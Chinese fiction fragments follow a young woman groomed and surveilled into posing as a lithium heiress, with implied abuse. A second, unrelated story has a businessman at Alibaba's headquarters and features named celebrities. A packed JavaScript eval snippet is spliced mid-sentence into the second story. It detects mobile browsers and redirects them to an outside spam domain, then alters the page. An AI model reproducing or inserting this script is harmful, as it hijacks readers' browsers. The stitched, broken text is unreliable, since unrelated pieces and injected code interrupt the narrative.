（绿地海域苏和国际的独栋别墅，黄万千用指纹解锁侧门，身后跟着穿淘宝同款"富家女套装"的汪丽。）


    黄万千（检查房间）：


    "物业费含在租金里，但水电你自己付。"（递过一张门禁卡）


    "明天开始，你的身份是——"（突然用法语）


    "Mademoiselle Wang, héritière des mines de lithium du Yunnan"（汪小姐，云南锂矿继承人）


    （汪丽低头看自己39.9元包邮的小香风外套，线头在玄关射灯下无所遁形。）


    强制她背诵《阶级切口手册》："问学校就说''瑞士萝实学院交换生


    （汪丽穿着Lululemon瑜伽裤晨跑，镜头扫过别墅区：）


    7栋阳台：穿真丝睡袍的女人在浇花，手腕有淤青


    12栋车库：某985教授正把爱马仕包递给副驾的女生（汪丽的选修课老师）


    23栋垃圾站：堆满撕碎的模特卡，其中一张碎片写着“救我”（和她在房里写的一样）


    （汪丽突然停下，运动手环显示心率飙到140。）


    （汪丽穿着租来的Marchesa礼服，胸口别着黄万千给的□□（伪装成梵克雅宝胸针）。）


    猎物


    新能源车企的CFO目光落在她的翡翠项链上。灯光下，义乌货的成色足以以假乱真。


    耳麦里传来黄万千的指令："提马斯克火星计划，然后假装崴脚。"


    汪丽的高跟鞋适时断裂。CFO伸手扶住她的瞬间，胸针已经吸在他西装内袋的U盘上。《囚蝶》


    "别墅的每个出口都装了磁力锁。"刑警老陈翻着现场报告，指尖在门禁系统示意图上点了点，"被害人最后一次自主出门记录是在三个月前。"


    实习生小林盯着监控截图："她端咖啡的姿势......"


    "像量角器量出来的，对吧？"老陈调出另一段录像，"看这个——七个月前的慈善晚宴，她手腕还会抖。到案发前，连杯沿倾斜角度都一模一样。"


    技术科的小张敲了敲键盘："查了她的社交账号。LinkedIn上那个摩根士丹利的实习经历，IP地址追踪到是黄万千的私人服务器。"


    "有意思的是，"老陈翻开询问笔录，"半年前开始，被害人在聊天记录里的自称从''我''变成了''本小姐''。"他顿了顿，"就像......在扮演某个设定好的角色。"


    小林翻到最后一页笔录："这个''阶级测试''是什么？"


    "每周一次的考核。"老陈点开手机里的录音文件，黄万千的声音冷静得像在宣读实验报告："本周社交名单里，李总的优先级上调两级。"


    录音里传来汪丽的回应："我可以陪李总打高尔夫。"语气熟练得令人心惊。


    监控视频定格在案发前一晚。烟雾报警器的红灯规律闪烁，汪丽背对镜头更衣。苍白的肩胛骨在红外镜头下微微颤动，像标本针下挣扎的蝶翼。


    "最可怕的是，"老陈关上档案，"这些控制痕迹太干净了。就像......"


    "就像她自己选择了这副枷锁。"小林轻声说。


    崩坏前夜


    深夜的别墅里，汪丽翻看手机相册。全是精心摆拍的"名媛日常"，直到划到一张老家县城照相馆的全家福。


    门禁对讲机突然响起："明天要见红杉的人，你该睡了。"


    沉默中，她删除了那张全家福。窗外无人机掠过，监控镜头捕捉到她眼角的反光。


    环境细节：


    梳妆台上摆着三瓶香水（标签被撕掉，只用马克笔标注1、2、3）


    床头插着旅行社广告单：“暑期特惠·新疆摄影团”（价格被红笔圈出）


    《针痕》


    21:30，门把手转动的声音准时响起。


    老式皮箱的搭扣弹开，皮革摩擦发出细微的声响。汪丽闭着眼，睫毛的颤动与烟雾报警器的红灯保持着相同的频率——每十五秒一次。


    "翻个身。"


    老人的声音温和得像在哄孩子入睡。


    她缓缓侧身，睡裙的肩带滑落。天花板上的报警器镜头无声转动，调整焦距的红点像只饥渴的眼睛。


    银针在灯光下闪着冷光。老人的手指在她肩胛骨间游走，寻找着那个永远在变化的穴位。


    "今天这里。"


    针尖刺入皮肤的瞬间，汪丽的呼吸停滞了一拍。不是疼痛——而是一种奇异的酸胀感，从脊椎末端蔓延开来，让她不自觉地绷紧了脚背。


    报警器的红灯持续闪烁，在墙上投下血色的波纹。


    （第二天清晨，女佣在收拾房间时，发现床单上有一小块不易察觉的湿润痕迹，散发着淡淡的草药香。）


    《提线木偶》


    摄影棚的灯光亮得刺眼。


    "低头，但眼睛看镜头。"


    汪丽微微垂下脖颈，睫毛在脸颊投下阴影。她的目光却直直刺向镜头，像审讯室里的犯人盯着单向玻璃——仿佛知道有人在另一侧窥视。


    "咬下唇，但别太情色。"


    她轻轻咬住下唇，嘴角却不受控制地抽搐了一下。那个表情看起来更像是牙疼，而非摄影师想要的暧昧。


    反光板的白光在她锁骨上跳动，像只不安分的蝴蝶。电影系的学生们手忙脚乱地调整角度，没人注意到监视器后的阴影里，黄万千的眼镜片闪过一丝冷光。


    他的黑西装几乎融进背景，只有左手食指在不停敲打膝盖——哒、哒、哒——和快门声保持着诡异的同步。


    （某个瞬间，汪丽的目光越过镜头，直接撞上那片反光的镜片。她的瞳孔骤然收缩，像是被闪光灯晃到了眼睛。）


    《留校察看》


    办公室的日光灯管嗡嗡作响，刺眼的白光在文件上投下一层冷霜。


    "经查实存在不当行为。"


    汪丽盯着那行铅字，指腹无意识地摩挲着纸张边缘。教务处老师的圆珠笔在桌面上轻轻敲击，哒、哒、哒，像某种倒计时。


    "你自己应该清楚是什么问题。"老师推了推眼镜，镜片后的目光在她脸上逡巡，"学校这个决定，你有什么要说的吗？"


    窗外的梧桐树影摇晃，一片枯叶粘在玻璃上，叶脉在阳光下清晰得像X光片。汪丽把文件对折，折痕精准地压在那行字上。


    "没有。"她说。


    （走出办公室时，她发现自己的指甲在掌心留下了四个月牙形的淤青，正好是处分期限的长度。）


    新疆旅行团的大巴车窗上，映出某个“叔叔”帮她编辫子的手


    但小丽的镜头始终只拍车窗外的雪山


    《铜门之外》


    杭州的黄昏来得突然。阿里巴巴总部外，十米高的铜门缓缓闭合，饕餮纹在暮色中泛着冷光，像一张闭上的嘴。柯林站在门外，手中的决策书残页已经烧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949900|177513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成灰烬，被风卷成螺旋状飘散。


    他拉开车门，《游京》的前奏瞬间灌满车厢。电子古筝的戏腔里，歌词正唱到"看高楼起，看宴宾客，看楼塌了"。中控屏幕显示：2分33秒——恰好是副歌高潮前的空白段。


    "倒是应景。"柯林轻笑一声。


    后视镜里，阿里巴巴总部逐渐缩小，最终变成一枚铜钱大小的光斑。镜头推进——那其实是柯林西装扣子的反光。


    茶室·线香刑场


    八十坪的和室空无一物，只有地面一道三十厘米宽的紫铜地缝，里面流动着融化的崖柏香粉。白烟从缝隙中渗出，像一条苏醒的地龙。


    "日本茶道流派最近在找我们合作，"张俊杰的闽南口音在烟雾中显得模糊，"但舆论压力很大。"


    阿里总裁推了推眼镜："RCEP框架下日资准入问题..."


    柯林突然用茶筅重重搅动抹茶，瓷碗发出刺耳的刮擦声。"差不多得了！"他的声音压过茶筅的噪音，"黄万千家清末就在长崎开码头，现在他公司AI团队三分之一是早稻田的——你们要砍掉所有日本基因？"


    松树下的坦白


    众人移步庭院，野生松的阴影投在黄万千脸上。他摩挲着树干上的疤痕："我祖父在长崎码头也种松...战败那年被砍了当柴烧。"


    "这情节能拍电影！"郭敬明突然兴奋，"松树象征..."


    "象征个屁！"柯林折断一根松针，"当年你们拍《小时代》，连静安寺的香火钱都要AA制。"


    哄笑声中，松枝突然晃动——是园丁在修剪，但只剪病枝，不动主干。


    竹径·现实与隐喻


    柯林穿过茶室外的竹林，安吉真竹每根间距精确到三十厘米，强迫症般整齐。但松树全是野生的，枝干虬结着刺向天空，不像松美术馆那些被驯服的"盆栽松"。


    他踢开一颗松果："老马当年非要移栽野生松，气得景观设计师辞职——现在倒成了风水阵眼。"


    远处，张俊杰正用松针剔牙，霸王茶姬的LOGO在阳光下像枚铜钱。


    闪回·1998年纽约


    耶鲁骷髅会的地下室里，年轻时的柯林面对一桶龙舌兰。金发白人举着皮带狞笑："中国佬想加入？喝完这桶！"


    "华尔街之狼原型？"现在的柯林看着AKA传媒副总递给郭敬明的日漫改编合同，冷笑一声，"那混蛋去年还问我怎么投资抖音..."


    咖啡渍的隐喻


    李东京的拿铁在杯沿留下唇印。柯林指着痕迹："看见没？你这种混血就像这咖啡渍——"他突然用勺背刮掉，"非要说属于哪边，不如当个调味剂。"


    众人沉默。张艺谋的助理悄悄拍下这幕，发给编剧团队。


    监控画面·黄万千的救赎


    签字仪式上，黄万千的钢笔在纸上划出沙沙声。与此同时，柯林的手机亮起——是他发来的消息："帮我保住研发部那些日本工程师"。


    姜文突然插话："当年《鬼子来了》拍摄时..."


    "您那电影要是现在拍，"柯林打断他，"得加个字幕——''军国主义分子不等于所有日本人''。"


    终


    字幕浮现：


    "所有神话...都是待拆的脚手架"


    （车驶入夜色，阿里巴巴总部的铜门彻底消失在黑暗中。柯林的手机屏幕亮起，是一条新消息："研发部保住了"。他关掉《游京》，车内陷入寂静。）